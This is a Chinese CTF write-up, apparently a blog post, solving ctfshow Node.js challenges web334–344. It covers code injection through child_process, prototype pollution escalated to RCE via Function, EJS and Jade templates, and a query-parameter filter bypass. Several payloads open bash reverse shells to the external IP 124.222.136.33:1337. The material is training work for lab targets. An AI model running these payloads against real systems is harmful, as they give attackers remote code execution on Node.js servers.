【Web】Ctfshow Nodejs刷题记录

目录

①web334

②web335

③web336

④web337

⑤web338

⑥web339

⑦web340

⑧web341

⑨web342-343

⑩web344


①web334

进来是一个登录界面

下载附件,简单代码审计

【Web】Ctfshow Nodejs刷题记录_第1张图片【Web】Ctfshow Nodejs刷题记录_第2张图片

表单传ctfshow 123456即可

②web335

进来提示

get上传eval参数执行nodejs代码

payload:

?eval=require('child_process').execSync('tac f*').toString() 

③web336

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

(不能使用通配符)

④web337

上来给到源码

【Web】Ctfshow Nodejs刷题记录_第3张图片

?a[x]=1&b[x]=2 

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

⑤web338

进来拿到源码

贴两段关键的

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

 common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

 考的是原型链污染

payload:

{"a":1,"__proto__":{"ctfshow":"36dboy"}}

⑥web339

关键代码

api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

flag值未知,用上一题的思路走不通

这时候看api.js的代码,发现存在可以在login污染query参数 再在api利用Function反弹shell

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

贴出payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}

 在login污染【Web】Ctfshow Nodejs刷题记录_第4张图片

 在api触发

【Web】Ctfshow Nodejs刷题记录_第5张图片

 【Web】Ctfshow Nodejs刷题记录_第6张图片

⑦web340

贴出不一样的地方

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

这里要注意的是,user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用

所以还得利用api反弹shell

但这次要污染两层

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}}

⑧web341

我测,api没了还有啥利用点

只能利用index.js中的res.render了

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  res.render('index');
});

module.exports = router;

在app.js中发现是ejs

【Web】Ctfshow Nodejs刷题记录_第7张图片

 直接ejs rce梭了

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}

printenv查看环境变量可以看到flag

【Web】Ctfshow Nodejs刷题记录_第8张图片

⑨web342-343

还是利用index.js中的res.render

在app.js中发现是jade

 直接用jade rce payload

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');//"}}}

注意这里发包时要设置Content-Type: application/json

⑩web344

【Web】Ctfshow Nodejs刷题记录_第9张图片

 理想的payload:

?query={"name":"admin","password":"ctfshow","isVIP":true}

为了绕过","过滤

补充前置知识

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式 ,所以要编码c

最终payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

你可能感兴趣的:(前端,CTF,WEB,安全,笔记,ctfshow,nodejs)